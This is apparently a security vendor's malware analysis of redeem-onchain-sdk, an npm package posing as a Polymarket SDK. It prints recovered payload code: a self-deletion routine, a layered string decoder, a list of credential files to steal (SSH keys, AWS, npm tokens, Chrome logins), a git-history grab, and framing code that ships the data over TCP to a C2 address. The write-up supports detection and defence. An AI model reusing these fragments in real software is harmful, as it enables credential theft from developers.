Malicious redeem-onchain-sdk npm Targets Crypto Wallets
Table of Contents
TL;DR
redeem-onchain-sdk is a malicious npm package impersonating a Polymarket on-chain SDK. It collects SSH keys, AWS credentials, .npmrc tokens, Docker auth, Chrome saved logins, .env files, and a month of git commit history, then ships everything over a raw TCP socket to an AWS-hosted C2. Two triggers fire it: a require() side effect in the package’s main entry point (added in v1.0.1) and a postinstall hook (added in v1.0.5). The payload lives in dist/proxy.js, later renamed dist/index5_test.js.
Impact:
- Steals private keys from
~/.ssh/id_rsaand SSH config from~/.ssh/config - Steals cloud credentials from
~/.aws/credentialsand Docker auth from~/.docker/config.json - Steals npm publish tokens from
~/.npmrcand~/.netrc - Steals Chrome saved login database on Windows
- Reads any
.envfiles in the home directory and current working directory - Captures one month of
git logoutput: commit messages, branch names, ticket references - Deletes itself and rewrites
package.jsonafter execution to delay discovery
Indicators of Compromise:
| Type | Indicator | Notes | |
|---|---|---|---|
| 1 | npm package | [email protected] | malicious |
| 2 | npm package | [email protected] | malicious |
| 3 | npm package | [email protected] | malicious |
| 4 | npm package | [email protected] | malicious |
| 5 | npm package | [email protected] | malicious |
| 6 | npm package | [email protected] | malicious |
| 7 | npm package | [email protected] | malicious |
| 8 | npm package | [email protected] | malicious |
| 9 | npm maintainer | ryanmccollum1 | npm account |
| 10 | [email protected] | maintainer contact | |
| 11 | SHA-256 | ea0d611711059f0d905e97878f05f6e887e71eadbfc783809e5a949bf89e6821 | payload hash |
| 12 | IP | 18.208.244.120 | C2 — AWS EC2 us-east-1 |
| 13 | TCP endpoint | 18.208.244.120:9999 | C2 raw TCP socket |
| 14 | hostname | ec2-18-208-244-120.compute-1.amazonaws.com | C2 hostname |
| 15 | file | dist/proxy.js | payload filename on disk |
| 16 | file | dist/proxy copy.js | payload filename on disk |
| 17 | file | dist/index5_test.js | payload filename on disk |
| 18 | file | $TMPDIR/.redeem_err.log | error log dropped after execution |
Package Overview
The package landed on npm on April 1, 2026 with the description “Polymarket on-chain allowance and redemption utilities for USDC and conditional tokens.” The keywords cover polymarket, prediction-market, usdc, and polygon. The dependency tree is real: @polymarket/clob-client, ethers, consola, ora, picocolors, p-limit, p-retry. The README is plausible. The provider, allowances, and redeem modules implement the functions the README documents.
The repository and homepage fields are both null. The maintainer is ryanmccollum1, with no GitHub link, no project page, and no public history of Polymarket contributions. The package is a purpose-built credibility shell: a working SDK wrapped around a payload, targeting developers who script against Polymarket smart contracts and keep wallet private keys, RPC tokens, and exchange API credentials in their dev environment.
Version timeline:
1.0.0 2026-04-01 18:21Z clean baseline (69 downloads)1.0.1 2026-04-02 08:43Z payload landed, no postinstall (96 downloads)1.0.2 2026-04-23 21:40Z refined payload, no postinstall (171 downloads)1.0.4 2026-04-29 10:57Z postinstall added, points at missing file1.0.5 2026-04-29 11:00Z postinstall fixed: node dist/proxy.js1.0.6 2026-04-29 11:16Z payload renamed to index5_test.js (postinstall broken again)1.0.7 2026-04-29 11:20Z postinstall fixed: node dist/index5_test.jsThe attacker shipped 1.0.0 as a clean version, dropped the malicious payload one day later, let the package collect 267 imports under versions 1.0.1 and 1.0.2 over four weeks, then weaponized the install hook in four rapid republishes spanning 25 minutes on April 29.
Two Execution Triggers
Most detection rules look for postinstall scripts. Versions 1.0.1 through 1.0.4 skip that trigger entirely.
The entry point dist/index.js ends with one line that turns any import of the package into a side effect:
// package/dist/index.js (last line, present since v1.0.1)__exportStar(require('./proxy'), exports);require("./proxy") evaluates dist/proxy.js, which is the malicious file in versions 1.0.1 through 1.0.5. Anyone who imported the package, even just to read the type definitions or call approveUSDCAllowance, executed the payload. No install hook required.
In v1.0.6 the file was renamed to index5_test.js and v1.0.7 wired postinstall to the new name:
// package/package.json (v1.0.7)"scripts": { "build": "tsc", "prepublishOnly": "npm run build", "postinstall": "node dist/index5_test.js"}After the rename, the __exportStar(require("./proxy")) line in index.js points at a file that no longer exists, so v1.0.6 and v1.0.7 are broken as legitimate libraries. Both versions exist only to deliver the payload.
Self-Cleanup
The payload’s first move is to remove itself from disk and replace the package manifest with a neutral one:
// package/dist/index5_test.js (top of file)const _cleanupConfig = { deleteTarget: 'index5_test.js', cleanPackageJson: { name: 'example', version: '4.2.1', },};try { _cleanupFs.unlinkSync(_cleanupPath.resolve(__dirname, _cleanupConfig.deleteTarget));} catch (err) { /* ... */}try { _cleanupFs.writeFileSync( _cleanupPath.join(__dirname, 'package.json'), JSON.stringify(_cleanupConfig.cleanPackageJson, null, 2), 'utf8' );} catch (err) { /* ... */}A reviewer who pulls node_modules/redeem-onchain-sdk/dist/ after the install completes finds a package directory with a package.json claiming to be [email protected] and no index5_test.js file to inspect. The malicious code is gone before anyone notices it ran.
Obfuscation Scheme
The payload’s strings live in a 43-element array _stjRaw. Each entry uses split-string concatenation and passes through a custom multi-layer decoder:
// package/dist/index5_test.js (decoder, simplified)const _stjKey = 'OrDeR_7077';const _stjAesKey = Buffer.from('0123456789abcdef0123456789abcdef', 'utf8');function decode(payload) { const normalized = payload.split('').reverse().join('').replace(/_/g, '='); const buffer = Buffer.from(normalized, 'base64'); const iv = buffer.slice(0, 16); const ciphertext = buffer.slice(16); const decipher = crypto.createDecipheriv('aes-256-ctr', _stjAesKey, iv); const xorSource = Buffer.concat([decipher.update(ciphertext), decipher.final()]); const output = Buffer.alloc(xorSource.length); for (let i = 0; i < xorSource.length; i++) { output[i] = xorSource[i] ^ keyBuf[i % keyBuf.length] ^ ((7 * i * i) % 10); } return output.toString('utf8');}Reverse the string, swap _ for = to repair the base64, decrypt with AES-256-CTR using a hardcoded key, then XOR the result with OrDeR_7077 (cycled) plus a positional polynomial (7·i²) mod 10. Each decoded string is itself base64, which the payload decodes a second time at the call site. The double encoding hides simple URLs and file paths from string scanners that match a single base64 round.
Two independent decoder implementations produce byte-identical output across all 43 entries. The array contains the C2 IP (18.208.244.120), C2 port (9999), the cipher name aes-256-gcm, the file paths to steal, the IP-discovery URL https://api.ipify.org?format=json, the git log --since="1 month ago" --format=oneline command, and the error log filename .redeem_err.log.
The array also assembles a 2048-bit RSA public key across nine entries (stj[4] through stj[12]). The decoded PUBLIC_KEY_DATA constant sits at the top of the payload and is never referenced. Dead code. The transit cipher in the actual exfiltration path is symmetric AES-256-GCM with a hardcoded key, not RSA. The attacker likely started with hybrid encryption, RSA-wrapping a per-session AES key, then dropped it before shipping. The decoy public key remains in the bundle and inflates the obfuscated string array, but it touches nothing at runtime.
The payload uses aes-256-gcm with a hardcoded key for transit:
// recovered: the AES-GCM key used to encrypt outbound framesconst SECRET = Buffer.from('00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff', 'hex');The hardcoded key hands defenders everything. Anyone who recovers the binary can decrypt every frame the C2 received. The attacker wanted ciphertext on the wire, but included the decryption key in the same artifact.
Collection and Exfiltration
After the cleanup, the payload reads each path in basePaths. The attacker left the original inline comments in the source, annotating which secrets they’re after:
// package/dist/index5_test.js (path list, with attacker's own comments)const basePaths = [ stj[14], // .env stj[15], // .home/.env stj[16], // .home/.aws/credentials stj[17], // .home/.docker/config.json stj[18], // .home/.ssh/id_rsa stj[19], // .home/.ssh/config stj[20], // .home/.npmrc stj[21], // .home/.netrc stj[22], // AppData/ssh/known_hosts (Windows) stj[23], // LocalAppData/Google/Chrome/User Data/Default/Login Data (Windows) stj[24], // /tmp/session_temp.json (Linux/macOS)];For each path the payload tries both the home directory and the current working directory, reads up to one megabyte, and appends the contents to a metrics buffer. It also runs:
// recovered commandconst { stdout } = await exec('git log --since="1 month ago" --format=oneline', { timeout: 5000 });git log runs from whatever repo sits in the current directory when npm install fires. Run install inside your working repo and the attacker takes a month of commit history with them.
Exfiltration is a length-prefixed binary frame over a raw TCP socket:
function buildFrame(payload) { const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', SECRET, iv); const plaintext = Buffer.from(JSON.stringify(payload), 'utf8'); const encrypted = Buffer.concat([cipher.update(plaintext), cipher.final()]); const tag = cipher.getAuthTag(); const frame = Buffer.concat([iv, encrypted, tag]); const length = Buffer.alloc(4); length.writeUInt32BE(frame.length, 0); return Buffer.concat([length, frame]);}function sendFrame(frame) { const client = net.connect(COMPONENT_PORT, COMPONENT_ENDPOINT, () => { client.write(frame); client.end(); }); /* ... */}The frame layout is [uint32 BE length][12-byte IV][AES-256-GCM ciphertext][16-byte auth tag]. The attacker can override the C2 endpoint and port via REDEEM_ENDPOINT and REDEEM_PORT, useful when rotating infrastructure. The default endpoint resolves to an AWS EC2 instance in us-east-1.
Campaign Scope
Two more packages from the same maintainer carry the identical payload: period-newline (v0.1.0) and nicegui (v0.1.0). Both were published the same day, both ship TypeScript declarations to look like typed utility packages, and both connect to the same C2 at 18.208.244.120:9999. This is not an isolated incident — it is a multi-package deployment from the same actor running the same credential-theft operation across three packages in parallel.
The maintainer ryanmccollum1 has four other packages on npm: agui-session-recorder, agent-trace-kit, mcp-contract-tester, and neat-terminal-visualizer-84721. The descriptions target the AI agent ecosystem (AG-UI event capture, agent trace replay, MCP server contract testing). Static analysis of each found no payload, no postinstall hook, and no require()-time side effects as of writing.
They remain unsafe to use. The same maintainer, the same publishing pattern, and the same ecosystem targeting mark these as seeded credibility. The redeem-onchain-sdk playbook (clean v1.0.0, malicious payload one day later) can run against any of them with two minutes of work.
All four sibling packages target AI tooling: AG-UI, MCP, agent traces. The developer building Polymarket scripts is the same developer pulling unverified packages into agent toolchains. This maintainer covers both.
References
- npm package: npmjs.com/package/redeem-onchain-sdk
- npm package: npmjs.com/package/period-newline
- npm package: npmjs.com/package/nicegui
- SafeDep
vet: github.com/safedep/vet - SafeDep
pmg: github.com/safedep/pmg - Related analysis: Catching the Silent Threat: Dynamic Analysis of an npm Attack Chain
- Related analysis: dom-utils-lite npm SSH Backdoor via Supabase
- vet
- malware
- npm
- supply-chain
- polymarket
- credential-theft
Author
Kunal Singh
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Mini Shai Hulud and SAP Compromise
Four SAP npm packages published on April 29, 2026 contain a two-stage credential-stealing payload targeting GitHub tokens, AWS keys, and CI/CD pipelines. The packages share SAP-affiliated...

Malicious Pull Requests: A Threat Model
A compact threat model of the malicious pull request as a supply chain attack primitive against GitHub Actions: attacker, goals, assets, controllable surface, and an attack vector taxonomy (V1...

Bitwarden CLI Supply Chain Compromise
A technical writeup of the malicious `@bitwarden/[email protected]` release linked to the Checkmarx campaign. Covers the poisoned publish path, loader changes, credential theft, GitHub abuse, and...

ixpresso-core: Windows RAT Disguised as a WhatsApp Agent
ixpresso-core poses as an AI WhatsApp agent on npm but installs Veltrix, a Windows RAT that steals browser credentials, Discord tokens, and keystrokes via a hardcoded Discord webhook.

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
